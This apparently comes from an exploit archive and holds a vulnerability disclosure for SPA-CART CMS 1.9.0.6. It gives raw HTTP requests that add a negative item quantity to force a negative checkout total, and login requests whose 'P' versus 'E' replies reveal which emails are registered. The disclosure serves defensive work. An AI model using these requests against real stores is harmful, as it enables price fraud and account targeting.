Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- SPA-CART CMS 1.9.0.6 Username Enumeration / Business Logic Flaw[6]
- Authored by Andrey Stoykov[7]
-
SPA-CART CMS version 1.9.0.6 suffers from business logic and user enumeration flaws.
- SHA-256 |
c07ecb52014c29ee2ae79ddc27279f57e1299334d6615202ed7fd43f0bfec058 - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
# Exploit Title: Business Logic Flaw and Username Enumeration in
spa-cartcmsv1.9.0.6
# Date: 6/2024
# Exploit Author: Andrey Stoykov
# Version: 1.9.0.6
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2024/04/friday-fun-pentest-series-5-spa.html
<http://msecureltd.blogspot.com/>
Description
- It was found that the application suffers from business logic flaw
- Additionally the application is vulnerable to username enumeration on the
login page
Logic Flaw
Steps to Reproduce:
1. Checkout page and intercept HTTP POST request
2. Add minus quantity such as -10
3. The final price would come up as negative value
// HTTP POST request modifying the quantity to negative value
POST /cart/add HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]
productid=225&amount=-10
// HTTP response
HTTP/2 200 OK
Server: nginx
[...]
[...]
<img src="https://demo.spa-cart.com/var/photo/product/234x200/225/695/1.jpg"
alt="" /><b>Five And Two Jewelry Piper Gold-Plated Earrings</b> added to
cart
<br /><br />
<strong class="added_price">Price: <span><span
class="currency">$</span>59.00</span></strong>
<div class="added_options">
<b>Selected options:</b>
Qty: 1<br />
Color: silver gold<br />
</div>
[...]
// HTTP GET request to checkout
GET /checkout HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]
// HTTP response showing negative amount owned
HTTP/2 200 OK
Server: nginx
[...]
[...]
\t<td>silver gold<\/td>\r\n<\/tr>\r\n<\/table>\r\n <\/td>\r\n <td
class=\"line\" nowrap align=\"right\">\r\n<span
class=\"currency\">$<\/span>59.00 x -10 =
<span class=\"currency\">$<\/span>-590.00 <\/td>
[...]
Username Enumeration:
Steps to Reproduce:
1. Register account
2. Enter valid account with wrong password
3. Trap HTTP request
4. Check that response for valid username has "P" message
5. Enter invalid account with wrong password
6. Check that response for invalid username has "E" message
// HTTP POST request with valid username and wrong password
POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]
email=test%40test.test&password=test123
// HTTP response showing "P" error message
HTTP/2 200 OK
Server: nginx
[...]
P
// HTTP POST request with invalid username and wrong password
POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]
email=test%40test.t3st&password=test123
// HTTP response showing "E" error message
HTTP/2 200 OK
Server: nginx
[...]
E
File Tags
- ActiveX[18] (933)
- Advisory[19] (85,624)
- Arbitrary[20] (16,756)
- BBS[21] (2,859)
- Bypass[22] (1,836)
- CGI[23] (1,032)
- Code Execution[24] (7,713)
- Conference[25] (691)
- Cracker[26] (844)
- CSRF[27] (3,375)
- DoS[28] (24,860)
- Encryption[29] (2,388)
- Exploit[30] (52,970)
- File Inclusion[31] (4,255)
- File Upload[32] (987)
- Firewall[33] (822)
- Info Disclosure[34] (2,872)
- Intrusion Detection[35] (911)
- Java[36] (3,129)
- JavaScript[37] (894)
- Kernel[38] (7,103)
- Local[39] (14,741)
- Magazine[40] (586)
- Overflow[41] (13,126)
- Perl[42] (1,434)
- PHP[43] (5,215)
- Proof of Concept[44] (2,375)
- Protocol[45] (3,716)
- Python[46] (1,623)
- Remote[47] (31,536)
- Root[48] (3,621)
- Rootkit[49] (524)
- Ruby[50] (628)
- Scanner[51] (1,654)
- Security Tool[52] (8,009)
- Shell[53] (3,267)
- Shellcode[54] (1,217)
- Sniffer[55] (901)
- Spoof[56] (2,267)
- SQL Injection[57] (16,564)
- TCP[58] (2,435)
- Trojan[59] (690)
- UDP[60] (900)
- Virus[61] (669)
- Vulnerability[62] (32,806)
- Web[63] (9,927)
- Whitepaper[64] (3,778)
- x86[65] (967)
- XSS[66] (18,219)
- Other[67]
File Archives
- June 2024[68]
- May 2024[69]
- April 2024[70]
- March 2024[71]
- February 2024[72]
- January 2024[73]
- December 2023[74]
- November 2023[75]
- October 2023[76]
- September 2023[77]
- August 2023[78]
- July 2023[79]
- Older[80]
Systems
- AIX[81] (429)
- Apple[82] (2,089)
- BSD[83] (376)
- CentOS[84] (58)
- Cisco[85] (1,927)
- Debian[86] (7,061)
- Fedora[87] (1,693)
- FreeBSD[88] (1,246)
- Gentoo[89] (4,500)
- HPUX[90] (880)
- iOS[91] (375)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (69)
- Linux[95] (50,018)
- Mac OS X[96] (691)
- Mandriva[97] (3,105)
- NetBSD[98] (256)
- OpenBSD[99] (488)
- RedHat[100] (16,064)
- Slackware[101] (941)
- Solaris[102] (1,611)
- SUSE[103] (1,444)
- Ubuntu[104] (9,580)
- UNIX[105] (9,417)
- UnixWare[106] (187)
- Windows[107] (6,662)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]


